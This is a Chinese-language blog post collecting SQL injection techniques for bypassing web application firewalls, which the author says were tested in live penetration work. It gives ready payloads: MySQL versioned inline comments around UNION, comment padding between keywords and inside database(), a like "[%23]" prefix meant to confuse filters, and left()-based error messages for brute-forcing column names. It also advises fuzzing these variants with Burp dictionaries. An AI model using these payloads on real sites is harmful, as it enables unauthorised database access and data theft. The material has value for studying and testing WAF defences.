作者名:Demo不是emo
主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构每日emo:想把世上所有的情话都说给你听
SQL注入bypass一直是个技术活,技巧也非常多,但有些技巧不是一直都好用的,所以写下这篇博客来记录我自己认为的平时比较好用的bypass技巧,都是经过了实战渗透检测的,目前内容较少,会实时更新,建议收藏
目录
一:内联注释
二:魔法注释
三:like "[%23]"
四:截取函数报字段技巧(2022.11.26)
适用环境:某个函数被识别造成拦截后
格式:/*![五位数字版本号] [原函数]*/
实例:
原: -1 ' union select 1,database(),3 %23
情景一:union函数被识别,遭到WAF拦截,需过滤函数
防过滤:-1 ' /*!12345union*/ select 1,database(),3 %23
注意:其中的12345是版本号,并不一定是12345,但肯定是五位数字,所以通常都是使用burp批量跑五位数字的字典,最后成功bypass
适用环境:某个位置的空格或者带有括号的函数被识别引起过滤
格式:/*[特殊字符构成的字符串]*/
实例:
原: -1 ' union select 1,database(),3 %23
情景一:union和select之间的空格需要做防过滤
防过滤:-1 ' union/*--+*/select 1,database(),3 %23
情景二:database()函数被识别,需要过滤
放过滤: -1 ' union select 1,database/*//-*/(),3 %23
同样的道理,这里的/*和*/中间的特殊字符串也不是固定的,直接用特殊字符生成字典,再burp批量跑即可
这是目前比较新的一种过滤方式,也成为很多自写防护规则网站的突破口
格式 like "[%23]"
适用:这个倒是没有什么适用的环境,总之就是迷惑性很强,会将前面的内容识别为空,再将攻击语句放在后面即可,
在平时的sql注入时,加单引号没问题就直接放弃了?不妨试试这个方法
实例
原: 1 ' union select 1,database(),3 %23
防过滤:1 like "[%23]" union select 1,database(),3 %23
left(参数1,参数2)函数,功能是从参数1字符串的左侧向右取参数2个字符,但是需要注意的是,参数1的值是字符串,大家肯定会第一时间想到形如"xxxxx"的字符串,但是别忘了,字段名也属于字符串
来看一段简单的命令
select * from users where id = 1 and left("abcd",1)='a'
这个命令都能理解吧,那我们将abcd的引号去掉再来看看,如下
嗯?为什么会提示没有abcd这个字段吗?它为什么会被识别成字段呢?别急,听我好好跟你讲讲
上面这个语句,是在users表里取id等于1的数据,此时and后面的逻辑判断语句当然被认为也是一个处理数据的限制条件,并且left()函数的参数1必须是字符串,也就是abcd必须是字符串,但是abcd又没有引号,他就会认为abcd是一个量,而且现在是在表中取数据,他就会认为该语句仍然是对字段进行处理,就把abcd当做字段来处理了,所以就出现了不存在这个字段的报错
在目标对敏感字限制得很严但是又没过滤left函数时,就可以做一个字段名的字典,对目标的字段名进行批量爆破,没出现这个报错就是该字段存在,这也是一种很好用的方法
right()函数, substr()函数均可,原理也相同,应该还有很多其他的函数,只要参数涉及到字符串都可以,后期我会再整理一下